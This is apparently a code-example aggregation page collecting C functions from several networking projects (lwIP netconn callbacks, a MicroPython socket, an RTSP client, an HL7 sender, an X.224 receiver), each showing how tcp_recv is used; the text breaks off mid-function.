Exemple #1
0
static void
zmtp_recv (int handle, zmtp_msg_t *msg)
{
    tcp_recv (handle, (uint8_t *) msg, 2);
    tcp_recv (handle, msg->data, msg->size);
}
Exemple #2
0
/**
 * Internal helper function to close a TCP netconn: since this sometimes
 * doesn't work at the first attempt, this function is called from multiple
 * places.
 *
 * @param conn the TCP netconn to close
 */
static void
do_close_internal(struct netconn *conn)
{
  err_t err;
  u8_t shut, shut_rx, shut_tx, close;

  LWIP_ASSERT("invalid conn", (conn != NULL));
  LWIP_ASSERT("this is for tcp netconns only", (conn->type == NETCONN_TCP));
  LWIP_ASSERT("conn must be in state NETCONN_CLOSE", (conn->state == NETCONN_CLOSE));
  LWIP_ASSERT("pcb already closed", (conn->pcb.tcp != NULL));
  LWIP_ASSERT("conn->current_msg != NULL", conn->current_msg != NULL);

  shut = conn->current_msg->msg.sd.shut;
  shut_rx = shut & NETCONN_SHUT_RD;
  shut_tx = shut & NETCONN_SHUT_WR;
  /* shutting down both ends is the same as closing */
  close = shut == NETCONN_SHUT_RDWR;

  /* Set back some callback pointers */
  if (close) {
    tcp_arg(conn->pcb.tcp, NULL);
  }
  if (conn->pcb.tcp->state == LISTEN) {
    tcp_accept(conn->pcb.tcp, NULL);
  } else {
    /* some callbacks have to be reset if tcp_close is not successful */
    if (shut_rx) {
      tcp_recv(conn->pcb.tcp, NULL);
      tcp_accept(conn->pcb.tcp, NULL);
    }
    if (shut_tx) {
      tcp_sent(conn->pcb.tcp, NULL);
    }
    if (close) {
      tcp_poll(conn->pcb.tcp, NULL, 4);
      tcp_err(conn->pcb.tcp, NULL);
    }
  }
  /* Try to close the connection */
  if (shut == NETCONN_SHUT_RDWR) {
    err = tcp_close(conn->pcb.tcp);
  } else {
    err = tcp_shutdown(conn->pcb.tcp, shut & NETCONN_SHUT_RD, shut & NETCONN_SHUT_WR);
  }
  if (err == ERR_OK) {
    /* Closing succeeded */
    conn->current_msg->err = ERR_OK;
    conn->current_msg = NULL;
    conn->state = NETCONN_NONE;
    /* Set back some callback pointers as conn is going away */
    conn->pcb.tcp = NULL;
    /* Trigger select() in socket layer. Make sure everybody notices activity
       on the connection, error first! */
    if (close) {
      API_EVENT(conn, NETCONN_EVT_ERROR, 0);
    }
    if (shut_rx) {
      API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);
    }
    if (shut_tx) {
      API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0);
    }
    /* wake up the application task */
    sys_sem_signal(&conn->op_completed);
  } else {
    /* Closing failed, restore some of the callbacks */
    /* Closing of listen pcb will never fail! */
    LWIP_ASSERT("Closing a listen pcb may not fail!", (conn->pcb.tcp->state != LISTEN));
    tcp_sent(conn->pcb.tcp, sent_tcp);
    tcp_poll(conn->pcb.tcp, poll_tcp, 4);
    tcp_err(conn->pcb.tcp, err_tcp);
    tcp_arg(conn->pcb.tcp, conn);
    /* don't restore recv callback: we don't want to receive any more data */
  }
  /* If closing didn't succeed, we get called again either
     from poll_tcp or from sent_tcp */
}
void NetworkTransaction::Close()
{
	tcp_pcb *pcb = cs->pcb;
	tcp_recv(pcb, nullptr);
	closeRequested = true;
}
Exemple #4
0
int rtsp_line_recv(struct rtsp_client * rtsp, char * line,
		unsigned int len)
{
	struct tcp_pcb * tp = rtsp->tcp;
	int rem;
	int cnt;
	int pos;
	int lin;
	int c1;
	int c2;
	int n;

	cnt = rtsp->cnt;
	pos = rtsp->pos;
	lin = rtsp->lin;
	c1 = (pos) ? rtsp->buf[pos - 1] : '\0';

	/* receive SDP payload */
	for (;;) {
		/* search for end of line */
		while (pos < cnt) {
			c2 = rtsp->buf[pos++];
			if (c1 == '\r' && c2 == '\n') {
				char * dst = line;
				char * src = &rtsp->buf[lin];
				int i;

				n = pos - lin - 2;
				if (n > len)
					n = len;

				for (i = 0; i < n; ++i)
					dst[i] = src[i];

				/* move to the next line */
				lin = pos;
				rtsp->lin = lin;
				rtsp->pos = lin;
				return n;
			}
			c1 = c2;
		}

		/* */
		if (rtsp->resp.content_len == rtsp->resp.content_pos) {
			/* get the number of remaining characters, ignoring
			 * a possible CR at the end*/
			n = pos - lin - (c1 == '\r') ? 1 : 0;

			if (n != 0) {
				/* this is the last line and there is no CR+LF at the end of it */
				char * dst = line;
				char * src = &rtsp->buf[lin];
				int i;

				if (n > len)
					n = len;
				for (i = 0; i < n; ++i)
					dst[i] = src[i];
			}
			/* update our pointers */
			rtsp->pos = pos;
			rtsp->lin = lin;
			return n;
		}

		if (RTSP_CLIENT_BUF_LEN == cnt) {
			int i;
			int j;

			if (lin == 0) {
				ERR("buffer overflow!");
				return -1;
			}

			/* move remaining data to the beginning of the buffer */
			n = cnt - lin;
			for (i = 0, j = lin; i < n; ++i, ++j)
				rtsp->buf[i] = rtsp->buf[j];

			cnt = n;
			pos = n;
			lin = 0;
		}

		/* free space in the input buffer */
		rem = RTSP_CLIENT_BUF_LEN - cnt;
		/* read more data */
		if ((n = tcp_recv(tp, &rtsp->buf[cnt], rem)) <= 0) {
			tcp_close(tp);
			return n;
		}

		rtsp->resp.content_pos += n;
		cnt += n;
		rtsp->cnt = cnt;
	}

	return 0;
}
Exemple #5
0
bool
client_test(int argc, char **argv)
{
    FILE *out = NULL;
    FILE *err = NULL;

    char *ack = NULL;

    const char *filename = NULL;
    const char *host = NULL;
    const char *port = NULL;
    off_t offset = 0;

    bool check = false;

    int sockfd,
        tmperr,
        write_count,
        fdin,
        size,
        wait_for_ack,
        req,
        next_opt;

    const char *short_opt = "no:";
    const struct option long_opt[] = {
        {"no-ack", 0, NULL, 'n'},
        {"output", 1, NULL, 'o'},
        {NULL,     0, NULL, 0},
    };

    /* Just in case we want to redirect stderr later on. */
    err = stderr;
    out = stdout;
    wait_for_ack = 1;

    do
    {
        next_opt = getopt_long(argc, argv, short_opt, long_opt, NULL);
        switch(next_opt)
        {

        case 'o':       /* -o or --output ... optional */
            out = redirect(optarg, "a", stdout);
            break;

        case 'n':       /* -n or --no-ack ... optional */
            wait_for_ack = 0;
            break;

        case '?':       /* invalid option */
            usage(err, EXIT_FAILURE);
            break;

        /* End of options */
        case -1:
            break;

        /* If we get here, something went very wrong. */
        default:
            abort();
            break;

        }
    } while(next_opt != -1);


    argv += optind;
    argc -= optind;

    if(argc != 3)
        usage(err, EXIT_FAILURE);

    host = argv[0];
    port = argv[1];
    filename = argv[2];

    if(filename == NULL)
        die(err, EINVAL,
            "%s: HL7 filename required.\n", program);

    if(host == NULL)
        die(err, EDESTADDRREQ,
            "%s: Destination host required.\n", program);

    if(port == NULL)
        die(err, EINVAL,
            "%s: Destination port required.\n", program);


    fdin = sockfd = -1;
    write_count = 0;

    size = getsize(filename);

    /* Save errno, as writing to a stream can change it in the
     * interim.
     */

    tmperr = errno;

    if(size <= 0)
    {
        switch(size)
        {
        case 0:
            die(err, EXIT_FAILURE,
                "%s: %s: Cowardly refusing to send an empty file!\n",
                program, filename);
            break;

        case -1:
            die(err, tmperr,
                "%s: Could not open \"%s\": %s\n",
                program, filename, strerror(errno));
            break;

        default:
            die(err, EXIT_FAILURE,
                "%s: Could not open \"%s\"\n",
                program, filename);
            break;
        }
    }

    if(!tcp_connect(host, atoi(port), &sockfd))
    {
        tmperr = errno;
        switch(sockfd)
        {
        case -1:
            die(err, EXIT_FAILURE,
                "Error opening socket.\n");
            break;

        case -2:
            die(err, EXIT_FAILURE,
                "%s: Hostname lookup failure: %s\n",
                program, host);
            break;

        case -3:
            die(err, tmperr,
                "%s: error connecting to %s, port %s.\n",
                program, host, port);
            break;

        default:    /* If we get here, the API is busted. */
            die(err, EXIT_FAILURE,
                "%s: Unknown error!\n", program);
            break;

        }
    }

    /* Read file and send to server */

    if((fdin = open(filename, O_RDONLY)) == -1)
    {
        die(err, errno,
            "%s: couldn't open %s for reading: %s\n",
            program, filename, strerror(errno));
    }
    else
    {
        /* Toss file to server. Linux syscall, but its fast. :D*/
        sendfile(sockfd, fdin, &offset, size);

        if(wait_for_ack)
        {
            ack = tcp_recv(sockfd, 5000, MAX_READ, &req);
            if(ack==NULL)
                return false;

            if((ack!=NULL) &&
                    (strlen(ack) > 0))
            {
                fprintf(stderr, "%s\n", ack);
                check = parse(ack);
            }
            free(ack);
            ack = NULL;
            close(sockfd);

            return check;
        } /* if waiting for ack ... */
        close(sockfd);
    } /* if able to open filestream... */
    return true;
}
Exemple #6
0
/**
 * Receive callback function for RAW netconns.
 * Doesn't 'eat' the packet, only references it and sends it to
 * conn->recvmbox
 *
 * @see raw.h (struct raw_pcb.recv) for parameters and return value
 */
static u8_t
recv_raw(void *arg, struct raw_pcb *pcb, struct pbuf *p,
    struct ip_addr *addr)
{
  struct pbuf *q;
  struct netbuf *buf;
  struct netconn *conn;
#if LWIP_SO_RCVBUF
  int recv_avail;
#endif /* LWIP_SO_RCVBUF */

  LWIP_UNUSED_ARG(addr);
  conn = arg;

#if LWIP_SO_RCVBUF
  SYS_ARCH_GET(conn->recv_avail, recv_avail);
  if ((conn != NULL) && (conn->recvmbox != SYS_MBOX_NULL) &&
      ((recv_avail + (int)(p->tot_len)) <= conn->recv_bufsize)) {
#else  /* LWIP_SO_RCVBUF */
  if ((conn != NULL) && (conn->recvmbox != SYS_MBOX_NULL)) {
#endif /* LWIP_SO_RCVBUF */
    /* copy the whole packet into new pbufs */
    q = pbuf_alloc(PBUF_RAW, p->tot_len, PBUF_RAM);
    if(q != NULL) {
      if (pbuf_copy(q, p) != ERR_OK) {
        pbuf_free(q);
        q = NULL;
      }
    }

    if(q != NULL) {
      buf = memp_malloc(MEMP_NETBUF);
      if (buf == NULL) {
        pbuf_free(q);
        return 0;
      }

      buf->p = q;
      buf->ptr = q;
      buf->addr = &(((struct ip_hdr*)(q->payload))->src);
      buf->port = pcb->protocol;

      SYS_ARCH_INC(conn->recv_avail, q->tot_len);
      /* Register event with callback */
      API_EVENT(conn, NETCONN_EVT_RCVPLUS, q->tot_len);
      if (sys_mbox_trypost(conn->recvmbox, buf) != ERR_OK) {
        netbuf_delete(buf);
      }
    }
  }

  return 0; /* do not eat the packet */
}
#endif /* LWIP_RAW*/

#if LWIP_UDP
/**
 * Receive callback function for UDP netconns.
 * Posts the packet to conn->recvmbox or deletes it on memory error.
 *
 * @see udp.h (struct udp_pcb.recv) for parameters
 */
static void
recv_udp(void *arg, struct udp_pcb *pcb, struct pbuf *p,
   struct ip_addr *addr, u16_t port)
{
  struct netbuf *buf;
  struct netconn *conn;
#if LWIP_SO_RCVBUF
  int recv_avail;
#endif /* LWIP_SO_RCVBUF */

  LWIP_UNUSED_ARG(pcb); /* only used for asserts... */
  LWIP_ASSERT("recv_udp must have a pcb argument", pcb != NULL);
  LWIP_ASSERT("recv_udp must have an argument", arg != NULL);
  conn = arg;
  LWIP_ASSERT("recv_udp: recv for wrong pcb!", conn->pcb.udp == pcb);

#if LWIP_SO_RCVBUF
  SYS_ARCH_GET(conn->recv_avail, recv_avail);
  if ((conn == NULL) || (conn->recvmbox == SYS_MBOX_NULL) ||
      ((recv_avail + (int)(p->tot_len)) > conn->recv_bufsize)) {
#else  /* LWIP_SO_RCVBUF */
  if ((conn == NULL) || (conn->recvmbox == SYS_MBOX_NULL)) {
#endif /* LWIP_SO_RCVBUF */
    pbuf_free(p);
    return;
  }

  buf = memp_malloc(MEMP_NETBUF);
  if (buf == NULL) {
    pbuf_free(p);
    return;
  } else {
    buf->p = p;
    buf->ptr = p;
    buf->addr = addr;
    buf->port = port;
  }

  SYS_ARCH_INC(conn->recv_avail, p->tot_len);
  /* Register event with callback */
  API_EVENT(conn, NETCONN_EVT_RCVPLUS, p->tot_len);
  if (sys_mbox_trypost(conn->recvmbox, buf) != ERR_OK) {
    netbuf_delete(buf);
    return;
  }
}
#endif /* LWIP_UDP */

#if LWIP_TCP
/**
 * Receive callback function for TCP netconns.
 * Posts the packet to conn->recvmbox, but doesn't delete it on errors.
 *
 * @see tcp.h (struct tcp_pcb.recv) for parameters and return value
 */
static err_t
recv_tcp(void *arg, struct tcp_pcb *pcb, struct pbuf *p, err_t err)
{
  struct netconn *conn;
  u16_t len;

  LWIP_UNUSED_ARG(pcb);
  LWIP_ASSERT("recv_tcp must have a pcb argument", pcb != NULL);
  LWIP_ASSERT("recv_tcp must have an argument", arg != NULL);
  conn = arg;
  LWIP_ASSERT("recv_tcp: recv for wrong pcb!", conn->pcb.tcp == pcb);

  if ((conn == NULL) || (conn->recvmbox == SYS_MBOX_NULL)) {
    return ERR_VAL;
  }

  conn->err = err;
  if (p != NULL) {
    len = p->tot_len;
    SYS_ARCH_INC(conn->recv_avail, len);
  } else {
    len = 0;
  }
  /* Register event with callback */
  API_EVENT(conn, NETCONN_EVT_RCVPLUS, len);
  if (sys_mbox_trypost(conn->recvmbox, p) != ERR_OK) {
    return ERR_MEM;
  }

  return ERR_OK;
}

/**
 * Poll callback function for TCP netconns.
 * Wakes up an application thread that waits for a connection to close
 * or data to be sent. The application thread then takes the
 * appropriate action to go on.
 *
 * Signals the conn->sem.
 * netconn_close waits for conn->sem if closing failed.
 *
 * @see tcp.h (struct tcp_pcb.poll) for parameters and return value
 */
static err_t
poll_tcp(void *arg, struct tcp_pcb *pcb)
{
  struct netconn *conn = arg;

  LWIP_UNUSED_ARG(pcb);
  LWIP_ASSERT("conn != NULL", (conn != NULL));

  if (conn->state == NETCONN_WRITE) {
    do_writemore(conn);
  } else if (conn->state == NETCONN_CLOSE) {
    do_close_internal(conn);
  }

  return ERR_OK;
}

/**
 * Sent callback function for TCP netconns.
 * Signals the conn->sem and calls API_EVENT.
 * netconn_write waits for conn->sem if send buffer is low.
 *
 * @see tcp.h (struct tcp_pcb.sent) for parameters and return value
 */
static err_t
sent_tcp(void *arg, struct tcp_pcb *pcb, u16_t len)
{
  struct netconn *conn = arg;

  LWIP_UNUSED_ARG(pcb);
  LWIP_ASSERT("conn != NULL", (conn != NULL));

  if (conn->state == NETCONN_WRITE) {
    LWIP_ASSERT("conn->pcb.tcp != NULL", conn->pcb.tcp != NULL);
    do_writemore(conn);
  } else if (conn->state == NETCONN_CLOSE) {
    do_close_internal(conn);
  }

  if (conn) {
    if ((conn->pcb.tcp != NULL) && (tcp_sndbuf(conn->pcb.tcp) > TCP_SNDLOWAT)) {
      API_EVENT(conn, NETCONN_EVT_SENDPLUS, len);
    }
  }

  return ERR_OK;
}

/**
 * Error callback function for TCP netconns.
 * Signals conn->sem, posts to all conn mboxes and calls API_EVENT.
 * The application thread has then to decide what to do.
 *
 * @see tcp.h (struct tcp_pcb.err) for parameters
 */
static void
err_tcp(void *arg, err_t err)
{
  struct netconn *conn;

  conn = arg;
  LWIP_ASSERT("conn != NULL", (conn != NULL));

  conn->pcb.tcp = NULL;

  conn->err = err;
  if (conn->recvmbox != SYS_MBOX_NULL) {
    /* Register event with callback */
    API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);
    sys_mbox_post(conn->recvmbox, NULL);
  }
  if (conn->op_completed != SYS_SEM_NULL && conn->state == NETCONN_CONNECT) {
    conn->state = NETCONN_NONE;
    sys_sem_signal(conn->op_completed);
  }
  if (conn->acceptmbox != SYS_MBOX_NULL) {
    /* Register event with callback */
    API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);
    sys_mbox_post(conn->acceptmbox, NULL);
  }
  if ((conn->state == NETCONN_WRITE) || (conn->state == NETCONN_CLOSE)) {
    /* calling do_writemore/do_close_internal is not necessary
       since the pcb has already been deleted! */
    conn->state = NETCONN_NONE;
    /* wake up the waiting task */
    sys_sem_signal(conn->op_completed);
  }
}

/**
 * Setup a tcp_pcb with the correct callback function pointers
 * and their arguments.
 *
 * @param conn the TCP netconn to setup
 */
static void
setup_tcp(struct netconn *conn)
{
  struct tcp_pcb *pcb;

  pcb = conn->pcb.tcp;
  tcp_arg(pcb, conn);
  tcp_recv(pcb, recv_tcp);
  tcp_sent(pcb, sent_tcp);
  tcp_poll(pcb, poll_tcp, 4);
  tcp_err(pcb, err_tcp);
}

/**
 * Accept callback function for TCP netconns.
 * Allocates a new netconn and posts that to conn->acceptmbox.
 *
 * @see tcp.h (struct tcp_pcb_listen.accept) for parameters and return value
 */
static err_t
accept_function(void *arg, struct tcp_pcb *newpcb, err_t err)
{
  struct netconn *newconn;
  struct netconn *conn;

#if API_MSG_DEBUG
#if TCP_DEBUG
  tcp_debug_print_state(newpcb->state);
#endif /* TCP_DEBUG */
#endif /* API_MSG_DEBUG */
  conn = (struct netconn *)arg;

  LWIP_ERROR("accept_function: invalid conn->acceptmbox",
             conn->acceptmbox != SYS_MBOX_NULL, return ERR_VAL;);

  /* We have to set the callback here even though
   * the new socket is unknown. conn->socket is marked as -1. */
  newconn = netconn_alloc(conn->type, conn->callback);
  if (newconn == NULL) {
    return ERR_MEM;
  }
  newconn->pcb.tcp = newpcb;
  setup_tcp(newconn);
  newconn->err = err;
  /* Register event with callback */
  API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);

  if (sys_mbox_trypost(conn->acceptmbox, newconn) != ERR_OK) {
    /* When returning != ERR_OK, the connection is aborted in tcp_process(),
       so do nothing here! */
    newconn->pcb.tcp = NULL;
    netconn_free(newconn);
    return ERR_MEM;
  }
  return ERR_OK;
}
#endif /* LWIP_TCP */

/**
 * Create a new pcb of a specific type.
 * Called from do_newconn().
 *
 * @param msg the api_msg_msg describing the connection type
 * @return msg->conn->err, but the return value is currently ignored
 */
static err_t
pcb_new(struct api_msg_msg *msg)
{
   msg->conn->err = ERR_OK;

   LWIP_ASSERT("pcb_new: pcb already allocated", msg->conn->pcb.tcp == NULL);

   /* Allocate a PCB for this connection */
   switch(NETCONNTYPE_GROUP(msg->conn->type)) {
#if LWIP_RAW
   case NETCONN_RAW:
     msg->conn->pcb.raw = raw_new(msg->msg.n.proto);
     if(msg->conn->pcb.raw == NULL) {
       msg->conn->err = ERR_MEM;
       break;
     }
     raw_recv(msg->conn->pcb.raw, recv_raw, msg->conn);
     break;
#endif /* LWIP_RAW */
#if LWIP_UDP
   case NETCONN_UDP:
     msg->conn->pcb.udp = udp_new();
     if(msg->conn->pcb.udp == NULL) {
       msg->conn->err = ERR_MEM;
       break;
     }
#if LWIP_UDPLITE
     if (msg->conn->type==NETCONN_UDPLITE) {
       udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_UDPLITE);
     }
#endif /* LWIP_UDPLITE */
     if (msg->conn->type==NETCONN_UDPNOCHKSUM) {
       udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_NOCHKSUM);
     }
     udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn);
     break;
#endif /* LWIP_UDP */
#if LWIP_TCP
   case NETCONN_TCP:
     msg->conn->pcb.tcp = tcp_new();
     if(msg->conn->pcb.tcp == NULL) {
       msg->conn->err = ERR_MEM;
       break;
     }
     setup_tcp(msg->conn);
     break;
#endif /* LWIP_TCP */
   default:
     /* Unsupported netconn type, e.g. protocol disabled */
     msg->conn->err = ERR_VAL;
     break;
   }

  return msg->conn->err;
}
Exemple #7
0
STATIC mp_obj_t lwip_socket_connect(mp_obj_t self_in, mp_obj_t addr_in) {
    lwip_socket_obj_t *socket = self_in;

    if (socket->pcb == NULL) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EBADF)));
    }

    // get address
    uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE];
    mp_uint_t port = netutils_parse_inet_addr(addr_in, ip, NETUTILS_BIG);

    ip_addr_t dest;
    IP4_ADDR(&dest, ip[0], ip[1], ip[2], ip[3]);

    err_t err = ERR_ARG;
    switch (socket->type) {
        case MOD_NETWORK_SOCK_STREAM: {
            if (socket->connected != 0) {
                if (socket->connected == 2) {
                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EALREADY)));
                } else {
                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EINPROGRESS)));
                }
            }
            // Register our recieve callback.
            tcp_recv((struct tcp_pcb*)socket->pcb, _lwip_tcp_recv);
            // Mark us as "connecting"
            socket->connected = 1;
            err = tcp_connect((struct tcp_pcb*)socket->pcb, &dest, port, _lwip_tcp_connected);
            if (err != ERR_OK) {
                socket->connected = 0;
                nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(error_lookup_table[-err])));
            }
            socket->peer_port = (mp_uint_t)port;
            memcpy(socket->peer, &dest, 4);
            // And now we wait...
            if (socket->timeout != -1) {
                for (mp_uint_t retries = socket->timeout / 100; retries--;) {
                    mp_hal_delay_ms(100);
                    if (socket->connected != 1) break;
                }
                if (socket->connected == 1) {
                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(ETIMEDOUT)));
                }
            } else {
                while (socket->connected == 1) {
                    mp_hal_delay_ms(100);
                }
            }
            if (socket->connected == 2) {
               err = ERR_OK;
            } else {
               err = socket->connected;
            }
            break;
        }
        case MOD_NETWORK_SOCK_DGRAM: {
            err = udp_connect((struct udp_pcb*)socket->pcb, &dest, port);
            break;
        }
    }

    if (err != ERR_OK) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(error_lookup_table[-err])));
    }

    return mp_const_none;
}
Exemple #8
0
static term_t ol_tcp_control(outlet_t *ol,
		uint32_t op, uint8_t *data, int dlen, term_t reply_to, heap_t *hp)
{
	char rbuf[256];
	char *reply = rbuf;
	int sz;

	assert(ol != 0);
	assert(ol->tcp != 0 || op == INET_REQ_OPEN || op == INET_REQ_SUBSCRIBE);

	switch (op)
	{
	case INET_REQ_OPEN:
	{
		if (dlen != 2 || data[1] != INET_TYPE_STREAM)
			goto error;
		uint8_t family = data[0];
		if (family != INET_AF_INET && family != INET_AF_INET6)
			goto error;
		assert(ol->tcp == 0);

#if LWIP_IPV6
		ol->tcp = (family == INET_AF_INET6)
			?tcp_new_ip6()
			:tcp_new();
#else
		if (family != INET_AF_INET)
			goto error;
		ol->tcp = tcp_new();
#endif
		assert(ol->tcp != 0);

		// see comment in ol_tcp_animate()
		tcp_setprio(ol->tcp, TCP_PRIO_MAX +1);

		tcp_arg(ol->tcp, ol);	// callback arg
		tcp_recv(ol->tcp, recv_cb);
		tcp_sent(ol->tcp, sent_cb);
		tcp_err(ol->tcp, error_cb);

		*reply++ = INET_REP_OK;
	}
	break;

	case INET_REQ_CONNECT:
	{
		int is_ipv6 = PCB_ISIPV6(ol->tcp);
		if ((is_ipv6 && dlen != 4 +2 +16) || (!is_ipv6 && dlen != 4 +2 +4))
			goto error;

		uint32_t timeout = GET_UINT_32(data);
		uint16_t remote_port = GET_UINT_16(data +4);
	
		err_t err;
		if (!is_ipv6)
		{
			ip_addr_t where_to;
			where_to.addr = ntohl(GET_UINT_32(data +4 +2));
			err = tcp_connect(ol->tcp, &where_to, remote_port, connected_cb);
		}
		else
		{
#if LWIP_IPV6
			ip6_addr_t where_to;
			where_to.addr[0] = ntohl(GET_UINT_32(data +4 +2));
			where_to.addr[1] = ntohl(GET_UINT_32(data +4 +2 +4));
			where_to.addr[2] = ntohl(GET_UINT_32(data +4 +2 +8));
			where_to.addr[3] = ntohl(GET_UINT_32(data +4 +2 +12));
			err = tcp_connect_ip6(ol->tcp, &where_to, remote_port, connected_cb);
#else
			goto error;
#endif
		}

		// Does it make connections faster?
		tcp_output(ol->tcp);

		if (err == ERR_OK)
		{
			cr_defer_reply(ol, reply_to, timeout);

			*reply++ = INET_REP_OK;
			uint16_t ref = ASYNC_REF;	// Why this is needed? A constant will do.
			PUT_UINT_16(reply, ref);
			reply += 2;
		}
		else
		{
			//
			//TODO: ERR_RTE possible too (IPv6)
			//
			assert(err == ERR_MEM);
			REPLY_INET_ERROR("enomem");
		}
	}
	break;

	case INET_REQ_PEER:
	if (ol->tcp->state == CLOSED)
		REPLY_INET_ERROR("enotconn");
	else
	{
		*reply++ = INET_REP_OK;
		*reply++ = INET_AF_INET;
		uint16_t peer_port = ol->tcp->remote_port;
		PUT_UINT_16(reply, peer_port);
		reply += 2;
		if (PCB_ISIPV6(ol->tcp))
		{
			ip_addr_set_hton((ip_addr_t *)reply, (ip_addr_t *)&ol->tcp->remote_ip);
			reply += 4;
		}
		else
		{
#if LWIP_IPV6
			ip6_addr_set_hton((ip6_addr_t *)reply, (ip6_addr_t *)&ol->tcp->remote_ip);
			reply += 16;
#else
			goto error;
#endif
		}
	}
	break;

	case INET_REQ_NAME:
	if (ol->tcp->state == CLOSED)
		REPLY_INET_ERROR("enotconn");
	else
	{
		*reply++ = INET_REP_OK;
		int is_ipv6 = PCB_ISIPV6(ol->tcp);
		*reply++ = (is_ipv6) ?INET_AF_INET6 :INET_AF_INET;
		uint16_t name_port = ol->tcp->local_port;
		PUT_UINT_16(reply, name_port);
		reply += 2;
		if (PCB_ISIPV6(ol->tcp))
		{
			ip_addr_set_hton((ip_addr_t *)reply, (ip_addr_t *)&ol->tcp->local_ip);
			reply += 4;
		}
		else
		{
#if LWIP_IPV6
			ip6_addr_set_hton((ip6_addr_t *)reply, (ip6_addr_t *)&ol->tcp->local_ip);
			reply += 16;
#else
			goto error;
#endif
		}
	}
	break;

	case INET_REQ_BIND:
	{
		int is_ipv6 = PCB_ISIPV6(ol->tcp);
		if ((is_ipv6 && dlen != 2 +16) || (!is_ipv6 && dlen != 2 +4))
			goto error;
		uint16_t port = GET_UINT_16(data);
		if (!is_ipv6)
		{
			ip_addr_t addr;
			addr.addr = ntohl(GET_UINT_32(data +2));
			tcp_bind(ol->tcp, &addr, port); // always succeeds
		}
		else
		{
#if LWIP_IPV6
			ip6_addr_t addr;
			addr.addr[0] = ntohl(GET_UINT_32(data +2));
			addr.addr[1] = ntohl(GET_UINT_32(data +2 +4));
			addr.addr[2] = ntohl(GET_UINT_32(data +2 +8));
			addr.addr[3] = ntohl(GET_UINT_32(data +2 +12));
			tcp_bind_ip6(ol->tcp, &addr, port); // always succeeds
#else
			goto error;
#endif
		}

		uint16_t local_port = ol->tcp->local_port;
		*reply++ = INET_REP_OK;
		PUT_UINT_16(reply, local_port);
		reply += 2;
	}
	break;

	case INET_REQ_LISTEN:
	{
		assert(ol->recv_buf_node == 0);	// or use destroy_private()
		int backlog = GET_UINT_16(data);
		ol_tcp_acc_promote(ol, ol->tcp, backlog);
		*reply++ = INET_REP_OK;
	}
	break;

	case INET_REQ_SETOPTS:
	if (ol_tcp_set_opts(ol, data, dlen) < 0)
		goto error;

	*reply++ = INET_REP_OK;
	break;

	case INET_REQ_GETOPTS:
	sz = ol_tcp_get_opts(ol, data, dlen, rbuf+1, sizeof(rbuf) -1);
	if (sz < 0)
		goto error;

	*reply++ = INET_REP_OK;
	reply += sz;
	break;

	case INET_REQ_GETSTAT:
	//
	// lwIP can provide some of the statistics but not all
	//
	REPLY_INET_ERROR("enotsup");
	break;

	case INET_REQ_SUBSCRIBE:
	if (dlen != 1 && data[0] != INET_SUBS_EMPTY_OUT_Q)
		goto error;
	if (ol->empty_queue_in_progress)
		goto error;		//TODO: allow multiple subscriptions

	int qlen = tcp_sndqueuelen(ol->tcp);
	if (qlen > 0)
	{
		ol->empty_queue_in_progress = 1;
		ol->empty_queue_reply_to = reply_to;
	}

	*reply++ = INET_REP_OK;
	*reply++ = INET_SUBS_EMPTY_OUT_Q;
	PUT_UINT_32(reply, qlen);
	reply += 4;
	break;

	case TCP_REQ_RECV:
	if (dlen != 4 +4)
		goto error;

	uint32_t msecs = GET_UINT_32(data);
	uint32_t recv_num = GET_UINT_32(data +4);

	if (ol->active != INET_PASSIVE)
		goto error;
	if (ol->packet == TCP_PB_RAW && recv_num > ol->recv_bufsize)
		goto error;
	
	if (ol->peer_close_detected)
		inet_async_error(ol->oid, reply_to, ASYNC_REF, A_CLOSED);
	else
	{
		cr_defer_reply(ol, reply_to, msecs);

		if (ol->packet == TCP_PB_RAW)
			ol->recv_expected_size = recv_num;

		// Enough data may have already been buffered
		proc_t *cont_proc = scheduler_lookup(reply_to);
		assert(cont_proc != 0);
		if (recv_bake_packets(ol, cont_proc) < 0)
			goto error;
	}

	*reply++ = INET_REP_OK;
	uint16_t my_ref = ASYNC_REF;
	PUT_UINT_16(reply, my_ref);
	reply += 2;
	break;

	case TCP_REQ_SHUTDOWN:
	if (dlen != 1)
		goto error;

	uint8_t what = data[0];
	// 0 - read
	// 1 - write
	// 2 - read_write
	
	int shut_rx = (what == 0) || (what == 2);
	int shut_tx = (what == 1) || (what == 2);

	if (ol->tcp->state == LISTEN)
		REPLY_INET_ERROR("enotconn");
	else
	{
		tcp_shutdown(ol->tcp, shut_rx, shut_tx);
		// TODO: return code ignored

		*reply++ = INET_REP_OK;
	}
	break;

	default:
error:
	REPLY_INET_ERROR("einval");
	}

	int rlen = reply -rbuf;
	assert(rlen >= 1 && rlen <= sizeof(rbuf));
	term_t result = heap_str_N(hp, rbuf, rlen);
	if (result == noval)
		return A_NO_MEMORY;

	return result;
}
Exemple #9
0
/* Receive an X.224 TPDU */
static STREAM
x224_recv(rdpIso * iso, STREAM s, int length, uint8 * pcode)
{
	uint8 lengthIndicator;
	uint8 code;
	uint8 subcode;

	s = tcp_recv(iso->tcp, s, length - 4);

	if (s == NULL)
		return NULL;

	/* X.224 TPDU Header */
	in_uint8(s, lengthIndicator);
	in_uint8(s, code);

	subcode = code & 0x0F;	/* get the lower nibble */
	code &= 0xF0;		/* take out lower nibble */

	*pcode = code;

	if (code == X224_TPDU_DATA)
	{
		in_uint8s(s, 1);	/* EOT */
		return s;
	}

	/* dst-ref (2 bytes) */
	/* src-ref (2 bytes) */
	/* class option (1 byte) */
	in_uint8s(s, 5);

	switch (code)
	{
